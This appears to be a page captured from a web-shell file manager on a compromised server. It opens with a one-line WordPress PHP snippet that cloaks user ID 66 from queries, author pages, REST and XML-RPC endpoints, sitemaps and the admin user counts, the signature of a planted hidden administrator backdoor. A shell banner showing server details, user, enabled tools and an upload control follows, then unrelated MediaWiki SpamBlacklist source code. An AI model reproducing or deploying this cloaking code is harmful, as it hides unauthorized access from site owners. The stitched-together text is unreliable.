add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SpamBlacklist/includes/ |
Upload File : |
<?php
namespace MediaWiki\Extension\SpamBlacklist;
use InvalidArgumentException;
use MediaWiki\Content\TextContent;
use MediaWiki\MediaWikiServices;
use MediaWiki\Revision\SlotRecord;
use MediaWiki\Title\Title;
use MediaWiki\User\User;
/**
* Base class for different kinds of blacklists
*/
abstract class BaseBlacklist {
/**
* Array of blacklist sources
*
* @var string[]
*/
public $files = [];
/**
* Array containing regexes to test against
*
* @var string[]|false
*/
protected $regexes = false;
/**
* Chance of receiving a warning when the filter is hit
*
* @var int
*/
public $warningChance = 100;
/**
* @var int
*/
public $warningTime = 600;
/**
* @var int
*/
public $expiryTime = 900;
/**
* Array containing blacklists that extend BaseBlacklist
*
* @var string[]
*/
private static $blacklistTypes = [
'spam' => SpamBlacklist::class,
'email' => EmailBlacklist::class,
];
/**
* Array of blacklist instances
*
* @var self[]
*/
private static $instances = [];
/**
* @param array $settings
*/
public function __construct( $settings = [] ) {
foreach ( $settings as $name => $value ) {
$this->$name = $value;
}
}
/**
* @param array $links
* @param ?Title $title
* @param User $user
* @param bool $preventLog
* @return mixed
*/
abstract public function filter(
array $links,
?Title $title,
User $user,
$preventLog = false
);
/**
* Adds a blacklist class to the registry
*
* @param string $type
* @param string $class
*/
public static function addBlacklistType( $type, $class ) {
self::$blacklistTypes[$type] = $class;
}
/**
* Return the array of blacklist types currently defined
*
* @return string[]
*/
public static function getBlacklistTypes() {
return self::$blacklistTypes;
}
/**
* @return SpamBlacklist
*/
public static function getSpamBlacklist() {
// @phan-suppress-next-line PhanTypeMismatchReturnSuperType
return self::getInstance( 'spam' );
}
/**
* @return EmailBlacklist
*/
public static function getEmailBlacklist() {
// @phan-suppress-next-line PhanTypeMismatchReturnSuperType
return self::getInstance( 'email' );
}
/**
* Returns an instance of the given blacklist
*
* @deprecated Use getSpamBlacklist() or getEmailBlacklist() instead
* @param string $type Code for the blacklist
* @return BaseBlacklist
*/
public static function getInstance( $type ) {
if ( !isset( self::$blacklistTypes[$type] ) ) {
throw new InvalidArgumentException( "Invalid blacklist type '$type' passed to " . __METHOD__ );
}
if ( !isset( self::$instances[$type] ) ) {
global $wgBlacklistSettings;
// Prevent notices
if ( !isset( $wgBlacklistSettings[$type] ) ) {
$wgBlacklistSettings[$type] = [];
}
$class = self::$blacklistTypes[$type];
self::$instances[$type] = new $class( $wgBlacklistSettings[$type] );
}
return self::$instances[$type];
}
/**
* Clear instance cache. For use during testing.
*/
public static function clearInstanceCache() {
self::$instances = [];
}
/**
* Returns the code for the blacklist implementation
*
* @return string
*/
abstract protected function getBlacklistType();
/**
* Check if the given local page title is a spam regex source.
*
* @param Title $title
* @return bool
*/
public static function isLocalSource( Title $title ) {
global $wgDBname, $wgBlacklistSettings;
if ( $title->inNamespace( NS_MEDIAWIKI ) ) {
$sources = [];
foreach ( self::$blacklistTypes as $type => $class ) {
// For the built in types, this results in the use of:
// spam-blacklist, spam-whitelist
// email-blacklist, email-whitelist
$type = ucfirst( $type );
$sources[] = "$type-blacklist";
$sources[] = "$type-whitelist";
}
if ( in_array( $title->getDBkey(), $sources ) ) {
return true;
}
}
$thisHttp = MediaWikiServices::getInstance()->getUrlUtils()
->expand( $title->getFullUrl( 'action=raw' ), PROTO_HTTP );
$thisHttpRegex = '/^' . preg_quote( (string)$thisHttp, '/' ) . '(?:&.*)?$/';
$files = [];
foreach ( self::$blacklistTypes as $type => $class ) {
if ( isset( $wgBlacklistSettings[$type]['files'] ) ) {
$files += $wgBlacklistSettings[$type]['files'];
}
}
foreach ( $files as $fileName ) {
$matches = [];
if ( preg_match( '/^DB: (\w*) (.*)$/', $fileName, $matches ) ) {
if ( $wgDBname === $matches[1] && $matches[2] === $title->getPrefixedDbKey() ) {
// Local DB fetch of this page...
return true;
}
} elseif ( preg_match( $thisHttpRegex, $fileName ) ) {
// Raw view of this page
return true;
}
}
return false;
}
/**
* Returns the type of blacklist from the given title
*
* @todo building a regex for this is pretty overkill
* @param Title $title
* @return bool|string
*/
public static function getTypeFromTitle( Title $title ) {
$contLang = MediaWikiServices::getInstance()->getContentLanguage();
$types = array_map( [ $contLang, 'ucfirst' ], array_keys( self::$blacklistTypes ) );
$regex = '/(' . implode( '|', $types ) . ')-(?:blacklist|whitelist)/';
if ( preg_match( $regex, $title->getDBkey(), $m ) ) {
return strtolower( $m[1] );
}
return false;
}
/**
* Fetch local and (possibly cached) remote blacklists.
* Will be cached locally across multiple invocations.
* @return string[] set of regular expressions, potentially empty.
*/
public function getBlacklists() {
if ( $this->regexes === false ) {
$this->regexes = array_merge(
$this->getLocalBlacklists(),
$this->getSharedBlacklists()
);
}
return $this->regexes;
}
/**
* Returns the local blacklist
*
* @return string[] Regular expressions
*/
public function getLocalBlacklists() {
$type = $this->getBlacklistType();
$cache = MediaWikiServices::getInstance()->getMainWANObjectCache();
return $cache->getWithSetCallback(
$cache->makeKey( 'spamblacklist', $type, 'blacklist-regex' ),
$this->expiryTime,
function () use ( $type ) {
return SpamRegexBatch::regexesFromMessage( "{$type}-blacklist", $this );
}
);
}
/**
* Returns the (local) whitelist
*
* @return string[] Regular expressions
*/
public function getWhitelists() {
$type = $this->getBlacklistType();
$cache = MediaWikiServices::getInstance()->getMainWANObjectCache();
return $cache->getWithSetCallback(
$cache->makeKey( 'spamblacklist', $type, 'whitelist-regex' ),
$this->expiryTime,
function () use ( $type ) {
return SpamRegexBatch::regexesFromMessage( "{$type}-whitelist", $this );
}
);
}
/**
* Fetch (possibly cached) remote blacklists.
* @return array
*/
private function getSharedBlacklists() {
$listType = $this->getBlacklistType();
wfDebugLog( 'SpamBlacklist', "Loading $listType regex..." );
if ( !$this->files ) {
# No lists
wfDebugLog( 'SpamBlacklist', "no files specified\n" );
return [];
}
if ( defined( 'MW_PHPUNIT_TEST' ) ) {
wfDebugLog( 'SpamBlacklist', 'remote loading disabled during PHPUnit test' );
return [];
}
$miss = false;
$cache = MediaWikiServices::getInstance()->getMainWANObjectCache();
$regexes = $cache->getWithSetCallback(
// This used to be cached per-site, but that could be bad on a shared
// server where not all wikis have the same configuration.
$cache->makeKey( 'spamblacklist', $listType, 'shared-blacklist-regex' ),
$this->expiryTime,
function () use ( &$miss ) {
$miss = true;
return $this->buildSharedBlacklists();
}
);
if ( !$miss ) {
wfDebugLog( 'SpamBlacklist', "Got shared spam regexes from cache\n" );
}
return $regexes;
}
/**
* Clear all primary blacklist cache keys
*/
public function clearCache() {
$listType = $this->getBlacklistType();
$cache = MediaWikiServices::getInstance()->getMainWANObjectCache();
$cache->delete( $cache->makeKey( 'spamblacklist', $listType, 'shared-blacklist-regex' ) );
$cache->delete( $cache->makeKey( 'spamblacklist', $listType, 'blacklist-regex' ) );
$cache->delete( $cache->makeKey( 'spamblacklist', $listType, 'whitelist-regex' ) );
wfDebugLog( 'SpamBlacklist', "$listType blacklist local cache cleared.\n" );
}
private function buildSharedBlacklists(): array {
$regexes = [];
$listType = $this->getBlacklistType();
# Load lists
wfDebugLog( 'SpamBlacklist', "Constructing $listType blacklist\n" );
foreach ( $this->files as $fileName ) {
$matches = [];
if ( preg_match( '/^DB: ([\w-]*) (.*)$/', $fileName, $matches ) ) {
$text = $this->getArticleText( $matches[1], $matches[2] );
} elseif ( preg_match( '/^(https?:)?\/\//', $fileName ) ) {
$text = $this->getHttpText( $fileName );
} else {
$text = file_get_contents( $fileName );
wfDebugLog( 'SpamBlacklist', "got from file $fileName\n" );
}
if ( $text ) {
// Build a separate batch of regexes from each source.
// While in theory we could squeeze a little efficiency
// out of combining multiple sources in one regex, if
// there's a bad line in one of them we'll gain more
// from only having to break that set into smaller pieces.
$regexes = array_merge(
$regexes,
SpamRegexBatch::regexesFromText( $text, $this, $fileName )
);
}
}
return $regexes;
}
/**
* @param string $fileName
* @return string|null|false
*/
private function getHttpText( $fileName ) {
global $wgMessageCacheType;
// FIXME: This is a hack to use Memcached where possible (incl. WMF),
// but have CACHE_DB as fallback (instead of no cache).
// This might be a good candidate for T248005.
$services = MediaWikiServices::getInstance()->getObjectCacheFactory();
$cache = $services->getInstance( $wgMessageCacheType );
$listType = $this->getBlacklistType();
// There are two keys, when the warning key expires, a random thread will refresh
// the real key. This reduces the chance of multiple requests under high traffic
// conditions.
$key = $cache->makeGlobalKey( "blacklist_file_{$listType}", $fileName );
$warningKey = $cache->makeKey( "filewarning_{$listType}", $fileName );
$httpText = $cache->get( $key );
$warning = $cache->get( $warningKey );
if ( !is_string( $httpText ) || ( !$warning && !mt_rand( 0, $this->warningChance ) ) ) {
wfDebugLog( 'SpamBlacklist', "Loading $listType blacklist from $fileName\n" );
$httpText = MediaWikiServices::getInstance()->getHttpRequestFactory()
->get( $fileName, [], __METHOD__ );
if ( $httpText === false ) {
wfDebugLog( 'SpamBlacklist', "Error loading $listType blacklist from $fileName\n" );
}
$cache->set( $warningKey, 1, $this->warningTime );
$cache->set( $key, $httpText, $this->expiryTime );
} else {
wfDebugLog( 'SpamBlacklist', "Got $listType blacklist from HTTP cache for $fileName\n" );
}
return $httpText;
}
/**
* Fetch an article from this or another local MediaWiki database.
*
* @param string $wiki
* @param string $pagename
* @return bool|string|null
*/
private function getArticleText( $wiki, $pagename ) {
wfDebugLog( 'SpamBlacklist',
"Fetching {$this->getBlacklistType()} blacklist from '$pagename' on '$wiki'...\n" );
$services = MediaWikiServices::getInstance();
// XXX: We do not know about custom namespaces on the target wiki here!
$title = $services->getTitleParser()->parseTitle( $pagename );
$store = $services->getRevisionStoreFactory()->getRevisionStore( $wiki );
$rev = $store->getRevisionByTitle( $title );
$content = $rev ? $rev->getContent( SlotRecord::MAIN ) : null;
if ( !( $content instanceof TextContent ) ) {
return false;
}
return $content->getText();
}
/**
* Returns the start of the regex for matches
*
* @return string
*/
public function getRegexStart() {
return '/[a-z0-9_\-.]*';
}
/**
* Returns the end of the regex for matches
*
* @param int $batchSize
* @return string
*/
public function getRegexEnd( $batchSize ) {
return ( $batchSize > 0 ) ? '/Sim' : '/im';
}
/**
* @param Title $title
* @param string[] $entries
* @param User $user
*/
public function warmCachesForFilter( Title $title, array $entries, User $user ) {
// subclass this
}
}